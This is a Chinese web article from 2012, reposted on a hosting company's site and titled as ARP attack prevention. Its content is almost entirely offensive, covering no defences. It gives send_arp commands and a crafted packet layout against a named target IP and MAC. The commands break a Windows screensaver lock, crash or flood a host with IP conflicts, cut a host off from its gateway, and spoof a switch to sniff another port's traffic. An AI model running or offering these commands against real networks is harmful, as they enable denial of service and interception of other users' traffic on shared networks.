文章內(nèi)容

ARP攻擊的一般防治方法

發(fā)布時(shí)間: 2012/8/2 18:07:41

一個(gè)要攻擊的機(jī)子：10.5.4.178
硬件地址：52:54:4C:98:EE:2F
我的機(jī)子： :10.5.3.69
硬件地址：52:54:4C:98:ED:C5
網(wǎng)關(guān)： 10.5.0.3
硬件地址：00:90:26:3D:0C:F3
一臺(tái)交換機(jī)另一端口的機(jī)子：10.5.3.3
硬件地址：52:54:4C:98:ED:F7
一：用ARP破WINDOWS的屏保
原理：利用IP沖突的級(jí)別比屏保高，當(dāng)有沖突時(shí)，就會(huì)跳出屏保。
關(guān)鍵：ARP包的數(shù)量適當(dāng)。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二：用ARP導(dǎo)致IP沖突，死機(jī)
原理：WINDOWS 9X，NT4在處理IP沖突時(shí)，處理不過來，導(dǎo)致死機(jī)。
注：對(duì)WINDOWS 2K，LINUX相當(dāng)于flooding,只是比一般的FLOODING 有效的多.對(duì)LINUX，明顯系統(tǒng)被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三：用ARP欺騙網(wǎng)關(guān)，可導(dǎo)致局域網(wǎng)的某臺(tái)機(jī)子出不了網(wǎng)關(guān)。
原理：用ARP應(yīng)答包去刷新對(duì)應(yīng)著要使之出不去的機(jī)子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意：如果單單如上的命令，大概只能有效幾秒鐘，網(wǎng)關(guān)機(jī)子里的ARP高速緩存會(huì)被被攻擊的機(jī)子正確刷新，于是只要...
四：用ARP欺騙交換機(jī)，可監(jiān)聽到交換機(jī)另一端的機(jī)子。
可能需要修改一下send_arp.c,構(gòu)造如下的數(shù)據(jù)包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交換機(jī)是具有記憶MAC地址功能的,它維護(hù)一張MAC地址和它的口號(hào)表
所以你可以先來個(gè)ARP 欺騙,然后就可以監(jiān)聽了
不過需要指出,欺騙以后,同一個(gè)MAC地址就有兩個(gè)端口號(hào)
yuange說，“這樣其實(shí)就是一個(gè)競爭問題。”
好象ARP 以后,對(duì)整個(gè)網(wǎng)絡(luò)會(huì)有點(diǎn)影響,不過我不敢確定
既然是競爭,所以監(jiān)聽也只能監(jiān)聽一部分,不象同一HUB下的監(jiān)聽。
對(duì)被監(jiān)聽者會(huì)有影響，因?yàn)樗袅艘徊糠謹(jǐn)?shù)據(jù)。
當(dāng)然還有其他一些應(yīng)用，需要其他技術(shù)的配合。

本文出自：億恩科技【www.cmtents.com】

服務(wù)器租用/服務(wù)器托管中國五強(qiáng)！虛擬主機(jī)域名注冊(cè)頂級(jí)提供商！15年品質(zhì)保障！--億恩科技[ENKJ.COM]